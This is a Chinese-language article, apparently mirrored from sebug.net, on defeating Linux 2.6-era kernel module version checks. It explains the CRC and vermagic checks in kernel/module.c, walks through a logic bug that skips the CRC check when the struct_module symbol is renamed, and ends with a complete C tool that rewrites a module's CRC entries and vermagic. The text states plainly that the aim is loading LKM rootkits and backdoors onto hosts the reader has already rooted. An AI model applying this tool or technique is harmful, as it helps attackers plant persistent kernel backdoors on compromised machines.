Bypassing Linux kernel module version check

By wzt

1、 为什么要突破模块验证
2、 内核是怎么实现的
3、 怎样去突破
4、 总结
5、 参考
6、 附录

1、 为什么要突破模块验证

Linux 内核版本很多，升级很快，2 个小内核版本中内核函数的定义可能都不一样，为了确保不一致的驱动程序导致 kernel oops，

开发者加入了模块验证机制。它在加载内核模块的时候对模块进行校验，如果模块与主机的一些环境不一致，就会加载不成功。

看下面一个例子，它简单的输出当期系统中的模块列表：

```
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/version.h>
#include <linux/string.h>
#include <linux/list.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");

struct module *m = &__this_module;

int print_module_test(void)
{
        struct module *mod;

        list_for_each_entry(mod, &m->list, list) {
                printk("%s\n", mod->name);
        }
        return NULL;
}

static int list_print_init(void)
{
        printk("load list_print module.\n");
```

sebug.net

```
        print_module_test();

        return 0;
}

static void list_print_exit(void)
{
        printk("unload list_print module.\n");
}

module_init(list_print_init);
module_exit(list_print_exit);
```

我们在 centos5.3 环境中编译一下：

```
[root@localhost list]# uname -a
Linux localhost.localdomain 2.6.18-128.el5 #1 SMP Wed Jan 21 10:44:23 EST
2009 i686 i686 i386 GNU/Linux
```

然后拷贝到另一台主机 centos5.1xen 上：

```
[root@localhost ~]# uname -a
Linux localhost.localdomain 2.6.18-53.el5xen #1 SMP Mon Nov 12 03:26:12
EST 2007 i686 i686 i386 GNU/Linux
```

用 insmod 加载：

```
[root@localhost ~]# insmod list.ko
insmod: error inserting 'list.ko': -1 Invalid module format
```

报错了，在看下 dmesg 的信息：

```
[root@localhost ~]# dmesg|tail -n 1
list: disagrees about version of symbol struct_module
```

先不管这是什么， 总之我们的模块在另一台 2.6.18 的主机中加载失败。 通常的做法是要在主机中对源代码进行编译，
然后才能加载成功， 但是如果主机中缺少内核编译环境的话， 我们的 rootkit 就不能编译， 也不能安装在主机之中，
这是多么尴尬的事情:)。 没错， 这就是 linux kernel 开发的特点， 你别指望像 windows 驱动一样，编译一个驱动，
然后可以满世界去装^_^. 一些 rootkit 开发者抛弃了 lkm 类型 rk 的开发， 转而去打 kmem, mem 的注意，像 sk，
moodnt 这样的 rk 大家都喜欢， 可以在用户层下动态 patch 内核，不需要编译环境， wget 下来，install 即可。
但是它也有很多缺点，比如很不稳定，而且在 2.6.x 后内核已经取消了 kmem 这个设备， mem 文件也做了映射和读写的
限制。 rk 开发者没法继续 sk 的神话了。反过来， 如果我们的 lkm 后门不需要编译环境，也可以达到直接 insmod 的目的，

sbug.net

这是件多么美好的事情，而且 lkm 后门更加稳定，还不用像 sk 在内核中添加了很多自己的数据结构。

2、内核是怎么实现的

我们去看看内核在加载模块的时候都干了什么， 或许我们可以发现点 bug，然后做点手脚，欺骗过去：）

grep 下 dmesg 里的关键字， 看看它在哪个文件中：

```
[root@localhost linux-2.6.18]# grep -r -i 'disagrees about' kernel/
kernel/module.c:                        printk("%s: disagrees about version of
symbol %s\n",
```

2.6.18/kernel/module.c:

insmod 调用了 sys_init_module 这个系统调用，然后进入 load_module 这个主函数，它解析 elf 格式的 ko 文件，然后加载到内核中：

```
/* Allocate and load the module: note that size of section 0 is always
   zero, and we rely on this for optional sections. */
static struct module *load_module(void __user *umod,
                                  unsigned long len,
                                  const char __user *uargs)
{
...
        if (!check_modstruct_version(sechdrs, versindex, mod)) {
                err = -ENOEXEC;
                goto free_hdr;
        }

        modmagic = get_modinfo(sechdrs, infoindex, "vermagic");
        /* This is allowed: modprobe --force will invalidate it. */
        if (!modmagic) {
                add_taint(TAINT_FORCED_MODULE);
                printk(KERN_WARNING "%s: no version magic, tainting
kernel.\n",
                       mod->name);
        } else if (!same_magic(modmagic, vermagic)) {
                printk(KERN_ERR "%s: version magic '%s' should be
'%s'\n",
                       mod->name, modmagic, vermagic);
                err = -ENOEXEC;
                goto free_hdr;
        }
```

seebug.net

...
}
check_modstruct_version 就是用来计算模块符号的一些 crc 值，不相同就会出现我们在 dmesg 里看到的
“disagrees about version of symbol”信息。 get_modinfo 取得了内核本身的 vermagic 值，然后用 same_magic
函数和内核的 vermagic 去比较，不同也会使内核加载失败。 所以在这里，我们看到内核对模块验证的时候采用了
2 层验证的方法：模块 crc 值和 vermagic 检查。

继续跟踪 check_modstruct_version， 现在的内核默认的都开启了 CONFIG_MODVERSIONS， 如果没有指定这个选项，
函数为空，我们的目的是要在 As, Centos 下安装模块，redhat 不是吃干饭的， 当然开了 MODVERSIONS 选项。

```
static inline int check_modstruct_version(Elf_Shdr *sechdrs,
                                          unsigned int versindex,
                                          struct module *mod)
{
        const unsigned long *crc;
        struct module *owner;

        if (!__find_symbol("struct_module", &owner, &crc, 1))
                BUG();
        return check_version(sechdrs, versindex, "struct_module", mod,
                             crc);
}
```

__find_symbol 找到了 struct_module 这个符号的 crc 值，然后调用 check_version 去校验：

```
static int check_version(Elf_Shdr *sechdrs,
                         unsigned int versindex,
                         const char *symname,
                         struct module *mod,
                         const unsigned long *crc)
{
        unsigned int i, num_versions;
        struct modversion_info *versions;

        /* Exporting module didn't supply crcs?  OK, we're already tainted. */
        if (!crc)
                return 1;

        versions = (void *) sechdrs[versindex].sh_addr;
        num_versions = sechdrs[versindex].sh_size
```

sebug.net

```
                / sizeof(struct modversion_info);

        for (i = 0; i < num_versions; i++) {
                if (strcmp(versions[i].name, symname) != 0)
                        continue;

                if (versions[i].crc == *crc)
                        return 1;
                printk("%s: disagrees about version of symbol %s\n",
                       mod->name, symname);
                DEBUGP("Found checksum %lX vs module %lX\n",
                       *crc, versions[i].crc);
                return 0;
        }
        /* Not in module's version table.  OK, but that taints the kernel. */
        if (!(tainted & TAINT_FORCED_MODULE)) {
                printk("%s: no version for \"%s\" found: kernel tainted.\n",
                       mod->name, symname);
                add_taint(TAINT_FORCED_MODULE);
        }
        return 1;
}
```

它搜寻 elf 的 versions 小节，循环遍历数组中的每个符号表，找到 struct_module 这个符号，然后去比较 crc 的值。

现在有个疑问， versions 小节是怎么链接到模块的 elf 文件中去的呢? 在看下编译后的生成文件， 有一个 list.mod.c

```
[root@localhost list]# cat list.mod.c
#include <linux/module.h>
#include <linux/vermagic.h>
#include <linux/compiler.h>

MODULE_INFO(vermagic, VERMAGIC_STRING);

struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = {
 .name = KBUILD_MODNAME,
 .init = init_module,
#ifdef CONFIG_MODULE_UNLOAD
 .exit = cleanup_module,
#endif
};

static const struct modversion_info ____versions[]
```

s0ug.net

```
__attribute_used__
__attribute__((section("__versions"))) = {
        { 0x89e24b9c, "struct_module" },
        { 0x1b7d4074, "printk" },
};

static const char __module_depends[]
__attribute_used__
__attribute__((section(".modinfo"))) =
"depends=";
```

MODULE_INFO(srcversion, "26DB52D8A56205333D414B9");
这个文件是模块在编译的时候，调用了 linux-2.6.18/scripts/modpost 这个文件生成的。
里面增加了 2 个小节.gnu.linkonce.this_module 和__versions。__versions 小节的内容就是
一些字符串和值组成的数组，check_version 就是解析这个小节去做验证。 这里还有一个
MODULE_INFO 宏用来生成模块的 magic 字符串，这个在以后的 vermagic 中要做验证。

先看下 vermagic 的格式：

```
[root@localhost list]# modinfo list.ko
filename:       list.ko
author:         wzt
license:        GPL
srcversion:     26DB52D8A56205333D414B9
depends:
vermagic:       2.6.18-128.el5 SMP mod_unload 686 REGPARM
4KSTACKS gcc-4.1
```

这里可以看到 vermagic 跟内核版本，smp，gcc 版本，内核堆栈大小都有关。

```
/* First part is kernel version, which we ignore. */
static inline int same_magic(const char *amagic, const char *bmagic)
{
        amagic += strcspn(amagic, " ");
        bmagic += strcspn(bmagic, " ");
        return strcmp(amagic, bmagic) == 0;
}
```

same_magic 忽略了对内核版本的判断， 直接比较后面的值。

sebug.net

3、怎样去突破

知道了内核是怎么实现的了， 下面开始想办法绕过这些验证：）

3.1 怎么突破 crc 验证：

在仔细看下代码：

```
        for (i = 0; i < num_versions; i++) {
                if (strcmp(versions[i].name, symname) != 0)
                        continue;

                if (versions[i].crc == *crc)
                        return 1;
                printk("%s: disagrees about version of symbol %s\n",
                       mod->name, symname);
                DEBUGP("Found checksum %lX vs module %lX\n",
                       *crc, versions[i].crc);
                return 0;
        }
        /* Not in module's version table.  OK, but that taints the kernel. */
        if (!(tainted & TAINT_FORCED_MODULE)) {
                printk("%s: no version for \"%s\" found: kernel tainted.\n",
                       mod->name, symname);
                add_taint(TAINT_FORCED_MODULE);
        }
        return 1;
```

check_version 在循环中只是在寻找 struct_module 符号， 如果没找到呢？ 它会直接返回 1！ 没错， 这是一个
逻辑 bug，在正常情况下，module 必会有一个 struct_module 的符号， 这是 modpost 生成的。如果我们修改 elf 文件，
把 struct_module 这个符号改名，岂不是就可以绕过 crc 验证了吗？ 先做个实验看下：
.mod.c 是由 modpost 这个工具生成的， 它在
linux-2.6.18/scripts/Makefile.modpost 文件中被调用， 去看下：

```
PHONY += __modpost
__modpost: $(wildcard vmlinux) $(modules:.ko=.o) FORCE
        $(call cmd,modpost)
```

我们用一个很土的方法，就是在编译模块的时候，modpost 生成.mod.c 文件后，暂停下编译，sleep 30 秒吧，我们用
这个时间去改写下.mod.c， 把 struct_module 换个名字。

```
PHONY += __modpost
__modpost: $(wildcard vmlinux) $(modules:.ko=.o) FORCE
```

sebug.net

```
        $(call cmd,modpost)
        @sleep 30
```

随便将 struct_module 改个名：

```
[root@localhost list]# cat list.mod.c
#include <linux/module.h>
#include <linux/vermagic.h>
#include <linux/compiler.h>

MODULE_INFO(vermagic, VERMAGIC_STRING);

struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = {
 .name = KBUILD_MODNAME,
 .init = init_module,
#ifdef CONFIG_MODULE_UNLOAD
 .exit = cleanup_module,
#endif
};

static const struct modversion_info ____versions[]
__attribute_used__
__attribute__((section("__versions"))) = {
        { 0x89e24b9c, "stauct_module" },
        { 0x1b7d4074, "printk" },
};

static const char __module_depends[]
__attribute_used__
__attribute__((section(".modinfo"))) =
"depends=";

MODULE_INFO(srcversion, "26DB52D8A56205333D414B9");
```

我们是在 centos5.3 下编译的， 然后拷贝到 centos5.1 下， 在执行下 insmod 看下：

```
[root@localhost ~]# insmod list.ko
[root@localhost ~]# dmesg|tail
ata_piix
libata
sd_mod
scsi_mod
ext3
jbd
```

sebug.net

```
ehci_hcd
ohci_hcd
uhci_hcd
```

成功了！ 这跟我们预期的一样， 我们用这个逻辑 bug 绕过了模块的 crc 验证！这个 bug 直到 2.6.31 版本中
才得到修正。 我们可以用这种方法在 redhat 主机中任意安装模块了。 那么怎样绕过在 2.6.31 以后的内核呢？
看下它是怎么修补的：

```
        for (i = 0; i < num_versions; i++) {
                if (strcmp(versions[i].name, symname) != 0)
                        continue;

                if (versions[i].crc == *crc)
                        return 1;
                DEBUGP("Found checksum %lX vs module %lX\n",
                       *crc, versions[i].crc);
                goto bad_version;
        }

        printk(KERN_WARNING "%s: no symbol version for %s\n",
               mod->name, symname);
        return 0;

bad_version:
        printk("%s: disagrees about version of symbol %s\n",
               mod->name, symname);

        return 0;
```

如果没找到 struct_module 也会返回 0， 这样我们就必须将 struct_module 的值改为正确后， 才能继续安装。
如何找到模块符号的 crc 值呢? 我们可以去找目标主机中那些已被系统加载的模块的 crc 值，如 ext3 文件系统
的模块， 自己写个程序去解析 elf 文件， 就可以得到某些符号的 crc 值了。
还有没有更简单的方法呢？去/boot 目录下看看，symvers-2.6.18-128.el5.gz 貌似和 crc 有关，gunzip 解压后看看：

```
[root@localhost boot]# grep 'struct_module' symvers-2.6.18-128.el5
0x89e24b9c      struct_module   vmlinux EXPORT_SYMBOL
```

原来内核中所有符号的 crc 值都保存在这个文件中。如何改写 struct_module 的值呢，可以用上面那个土方法，
或者自己写程序去解析 elf 文件， 然后改写其值。本文最后附上一个小程序用来修改 elf 的符号和 crc 值。

sebug.net

3.2 如何突破 vermagic 验证：

如果我们用 list.mod.c 中的做法， 用 MODULE_INFO 宏来生成一个与目标主机相同的 vermagic 呢？ 答案是
否定的，gcc 链接的时候会把 modinfo 小节链接在最后，加载模块的时候还是会读取第一个.modinfo 小节。
我们可以用上面那种很土的方法， 先用 modinfo 命令得到目标主机中某个模块的信息：

```
[root@localhost list]# modinfo
/lib/modules/2.6.18-128.el5/kernel/fs/ext3/ext3.ko
filename:       /lib/modules/2.6.18-128.el5/kernel/fs/ext3/ext3.ko
license:        GPL
description:    Second Extended Filesystem with journaling extensions
author:         Remy Card, Stephen Tweedie, Andrew Morton, Andreas
Dilger, Theodore Ts'o and others
srcversion:     B048AC103E5034604A721C5
depends:        jbd
vermagic:       2.6.18-128.el5 SMP mod_unload 686 REGPARM
4KSTACKS gcc-4.1
module_sig:
883f3504977495e4f3f897cd3dced211288209f551cc1da557f96ea18d9a4efd6
cfb0fc2612e009c8845fd776c825d586f492ceab19e17b2319da8f
```

然后在用那个很土的方面， 将.mod.c 中 vermagic 值进行修改。还有一种直接修改 elf 文件的方法，附录在本文后面。

4、总结

前面有一点没有提到， 就是某些内核版本的相同接口的函数代码可能已经变化， 这样在使用这项技术的时候，

最好在同一个大内核版本使用。你也可能感觉要想跨平台安装模块有些麻烦，这里还有 2 个方法， 作为一个专业

搞渗透的人来说，他会自己在本地装很多发行版本的 linux，特别是 root 掉一台主机后，会在本地装一个一模一样

的发行版本，smp、kernel stack size、gcc version 都一样。在本地机器装上开发环境，这样编译出来的模块

也是可以直接装到目标主机上的，但这很麻烦，因为 linux 有太多的发行版本了：）， 另一个方法就是自己

装一个 linux，编译下内核，然后将 build 后的开发包集成到自己的后门里， 压缩后大概几 m。 然后传到主机

去解压，编译。庆幸的是，现在大多数主机中都有内核开发环境， 直接去主机编译就 ok 了。

5、参考

【1】 linux kernel source code
http://www.kernel.org

cbug.net

【2】 module injection in 2.6 kernel - Coolq
http://www.nsfocus.net/index.php?act=magazine&do=view&mid=2533

6、附录

```
/*
 * Linux kernel module fucker
 *
 * by wzt          <wzt.wzt@gmail.com>
 *
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <elf.h>
#include <sys/stat.h>
#include <sys/mman.h>

#define MODULE_NAME_LEN          (64 - sizeof(unsigned long))

struct modversion_info
{
        unsigned long crc;
        char name[MODULE_NAME_LEN];
};

Elf32_Ehdr *ehdr = NULL;
Elf32_Phdr *phdr = NULL;
Elf32_Shdr *shdr = NULL;
Elf32_Shdr *shstrtab = NULL;
Elf32_Sym *dynsym_ptr = NULL;
Elf32_Sym *symtab_ptr = NULL;
Elf32_Sym *dynstr_ptr = NULL;

char *Real_strtab = NULL;
char *dynstr = NULL;
char *strtab_ptr = NULL;
char dynstr_buffer[2048];
char strtab_buffer[4096];
char *real_strtab = NULL;
```

sebug.net

```
unsigned int shstrtab_off, shstrtab_len, shstrtab_num;
unsigned int strtab_off, strtab_size;

int elf_fd;
struct stat f_stat;

void usage(char *pro)
{
	fprintf(stderr, "usage: %s <options> <module>\n\n", pro);
	fprintf(stderr, "-w -v\tCheck vermgaic in module.\n");
	fprintf(stderr, "-w -c\tCheck crc value in module.\n");
	fprintf(stderr, "-s -v <new_vermagic>\tSet vermagic in module.\n");
	fprintf(stderr, "-s -c\tSet crc value in module.\n");

	exit(0);
}

int init_load_elf(char *elf_file)
{
	char buff[1024];

	elf_fd = open(elf_file, O_RDWR);
	if (elf_fd == -1) {
		perror("open");
		return 0;
	}
	fprintf(stderr, "[+] Open %s ok.\n", elf_file);

	if (fstat(elf_fd, &f_stat) == -1) {
		perror("fstat");
		return 0;
	}

	ehdr = (Elf32_Ehdr *)mmap(NULL, f_stat.st_size,
PROT_WRITE|PROT_READ, MAP_SHARED, elf_fd, 0);
	if(ehdr == MAP_FAILED) {
		perror("mmap");
		return 0;
	}

	phdr = (Elf32_Phdr *)((unsigned long)ehdr + ehdr->e_phoff);
	shdr = (Elf32_Shdr *)((unsigned long)ehdr + ehdr->e_shoff);
```

sebug.net

```
	shstrtab = &shdr[ehdr->e_shstrndx];
	shstrtab_off = (unsigned int)shstrtab->sh_offset;
	shstrtab_len = shstrtab->sh_size;

	real_strtab = (char *)( (unsigned long)ehdr + shstrtab_off );

	printf("[+] .Shstrtab Size :0x%x,%d\n", shstrtab->sh_size,
shstrtab->sh_name);
	printf("[+] .Shstrtab Off: 0x%x\n", shstrtab_off);

	return 1;
}

int display_module_crc_info(void)
{
	struct modversion_info *versions;
	char *buff = NULL;
	unsigned int version_off, version_size, num_versions;
	int i, j;

	buff = (char *)malloc(shstrtab_len + 2);
	if (!buff) {
		fprintf(stderr, "[-] Malloc failed.\n");
		return 0;
	}

	memcpy(buff, real_strtab, shstrtab_len + 1);
	for (i = 0 ; i < (int)ehdr->e_shnum ; i++){
		if (!strcmp(buff + shdr[i].sh_name,"__versions")){
			printf("[+] found section %s.\n", buff +
shdr[i].sh_name);
			version_off = (unsigned int)shdr[i].sh_offset;
			version_size = (unsigned int)shdr[i].sh_size;
			printf("[+] version off: 0x%x\n", version_off);
			printf("[+] version size: 0x%x\n", version_size);
			break;
		}
	}

	printf("[+] %x,%x\n", (unsigned long)ehdr + version_off,
shdr[i].sh_addr);
	versions = (void *)((unsigned long)ehdr + version_off);
	num_versions = version_size / sizeof(struct modversion_info);
```

sebug.net

```
		printf("[+] num_versions: %d\n", num_versions);

		for (j = 0; j < num_versions; j++) {
			printf("[+] %s:0x%08x.\n", versions[j].name, versions[j].crc);
		}

		free(buff);
		return 1;
}

int set_module_crc_info(void)
{
		struct modversion_info *versions;
		char *buff = NULL;
		unsigned int version_off, version_size, num_versions;
		int i, j;

		buff = (char *)malloc(shstrtab_len + 2);
		if (!buff) {
			fprintf(stderr, "[-] Malloc failed.\n");
			return 0;
		}

		memcpy(buff, real_strtab, shstrtab_len + 1);
		for (i = 0 ; i < (int)ehdr->e_shnum ; i++){
			if (!strcmp(buff + shdr[i].sh_name,"__versions")){
				printf("[+] found section %s.\n", buff +
shdr[i].sh_name);
				version_off = (unsigned int)shdr[i].sh_offset;
				version_size = (unsigned int)shdr[i].sh_size;
				printf("[+] version off: 0x%x\n", version_off);
				printf("[+] version size: 0x%x\n", version_size);
				break;
			}
		}

		printf("[+] %x,%x\n", (unsigned long)ehdr + version_off,
shdr[i].sh_addr);
		versions = (void *)((unsigned long)ehdr + version_off);
		num_versions = version_size / sizeof(struct modversion_info);
		printf("[+] num_versions: %d\n", num_versions);

		for (j = 0; j < num_versions; j++) {
```

sebug.net

```
                printf("[+] %s:0x%08x.\n", versions[j].name, versions[j].crc);
                if (!strcmp(versions[j].name, "struct_module")) {
                        fprintf(stderr, "[+] Found symbol struct_module.\n");
                        versions[j].name[0] = 'T';
                        break;
                }
        }

        for (j = 0; j < num_versions; j++) {
                printf("[+] %s:0x%08x.\n", versions[j].name, versions[j].crc);
        }

        free(buff);
        return 1;
}

static char *next_string(char *string, unsigned long *secsize)
{
        /* Skip non-zero chars */
        while (string[0]) {
                string++;
                if ((*secsize)-- <= 1)
                        return NULL;
        }

        /* Skip any zero padding. */
        while (!string[0]) {
                string++;
                if ((*secsize)-- <= 1)
                        return NULL;
        }
        return string;
}

static char *get_modinfo(Elf32_Shdr *sechdrs, unsigned int info, const char
*tag)
{
        char *p;
        unsigned int taglen = strlen(tag);
        unsigned long size = sechdrs[info].sh_size;

        for (p = (char *)(ehdr +sechdrs[info].sh_offset); p; p = next_string(p,
&size)) {
```

sebug.net

```
                if (strncmp(p, tag, taglen) == 0 && p[taglen] == '=')
                        return p + taglen + 1;
        }
        return NULL;
}

int display_module_vermagic_info(void)
{
        char *buff, *p;
        char *ver = "vermagic";
        unsigned int taglen = strlen(ver);
        int size, i;

        buff = (char *)malloc(shstrtab_len + 2);
        if (!buff) {
                fprintf(stderr, "[-] Malloc failed.\n");
                return 0;
        }

        memcpy(buff, real_strtab, shstrtab_len + 1);
        for (i = 0 ; i < (int)ehdr->e_shnum ; i++){
                if (!strcmp(buff + shdr[i].sh_name,".modinfo")){
                        printf("[+] found section %s.\n", buff +
shdr[i].sh_name);
                        break;
                }
        }

        size = shdr[i].sh_size;
        printf("[+] size: 0x%x.\n", size);

        p = (char *)((unsigned long)ehdr + shdr[i].sh_offset);
        printf("[+] 0x%08x\n", p);

        for (; p; p = next_string(p, &size)) {
                printf("[+] %s\n", p);
                if (strncmp(p, "vermagic", taglen) == 0 && p[taglen] == '=') {
                        printf("[+] %s\n", p + taglen + 1);
                        //memset(p + taglen + 1, 'A', 30);
                }
        }

        return 1;
```

sebug.net

```
}

int set_module_vermagic_info(char *new_vermagic)
{
        char *buff, *p;
        char *ver = "vermagic";
        unsigned int taglen = strlen(ver);
        int size, i;

        buff = (char *)malloc(shstrtab_len + 2);
        if (!buff) {
                fprintf(stderr, "[-] Malloc failed.\n");
                return 0;
        }

        memcpy(buff, real_strtab, shstrtab_len + 1);
        for (i = 0 ; i < (int)ehdr->e_shnum ; i++){
                if (!strcmp(buff + shdr[i].sh_name,".modinfo")){
                        printf("[+] found section %s.\n", buff +
shdr[i].sh_name);
                        break;
                }
        }

        size = shdr[i].sh_size;
        printf("[+] size: 0x%x.\n", size);

        p = (char *)((unsigned long)ehdr + shdr[i].sh_offset);
        printf("[+] 0x%08x\n", p);

        for (; p; p = next_string(p, &size)) {
                printf("[+] %s\n", p);
                if (strncmp(p, "vermagic", taglen) == 0 && p[taglen] == '=') {
                        printf("[+] %s\n", p + taglen + 1);
                        if (strlen(p + taglen + 1) < strlen(new_vermagic)) {
                                printf("[-] New vermagic len must < current
magic len.\n");
                                return 0;
                        }
                        memset(p + taglen + 1, '\0', strlen(new_vermagic));
                        memcpy(p + taglen + 1, new_vermagic,
strlen(new_vermagic));
                }
```

sebug.net

```
	}

	return 1;
}

int exit_elf_load(void)
{
	close(elf_fd);
	if (munmap(ehdr, f_stat.st_size) == -1) {
		return 0;
	}

	return 1;
}

int main(int argc, char **argv)
{
	if (argc == 1) {
		usage(argv[0]);
	}

	if (!strcmp(argv[1], "-w") && !strcmp(argv[2], "-c")) {
		fprintf(stderr, "[+] Display %s module crc value.\n", argv[3]);
		if (!init_load_elf(argv[3])) {
			fprintf(stderr, "[-] Init elf load failed.\n");
			return 0;
		}
		display_module_crc_info();
		exit_elf_load();
	}
	else if (!strcmp(argv[1], "-s") && !strcmp(argv[2], "-c")) {
		fprintf(stderr, "[+] Set %s module crc value.\n", argv[3]);
		if (!init_load_elf(argv[3])) {
			fprintf(stderr, "[-] Init elf load failed.\n");
			return 0;
		}
		set_module_crc_info();
		exit_elf_load();
	}
	if (!strcmp(argv[1], "-w") && !strcmp(argv[2], "-v")) {
		fprintf(stderr, "[+] Display %s module crc value.\n", argv[3]);
		if (!init_load_elf(argv[3])) {
			fprintf(stderr, "[-] Init elf load failed.\n");
```

sebug.net

```
                return 0;
        }
        display_module_vermagic_info();
        exit_elf_load();
    }
    if (!strcmp(argv[1], "-s") && !strcmp(argv[2], "-v")) {
        fprintf(stderr, "[+] Display %s module crc value.\n", argv[4]);
        if (!init_load_elf(argv[4])) {
            fprintf(stderr, "[-] Init elf load failed.\n");
            return 0;
        }
        set_module_vermagic_info(argv[3]);
        exit_elf_load();
    }
    else {
        return 0;
    }

}
```

sebug.net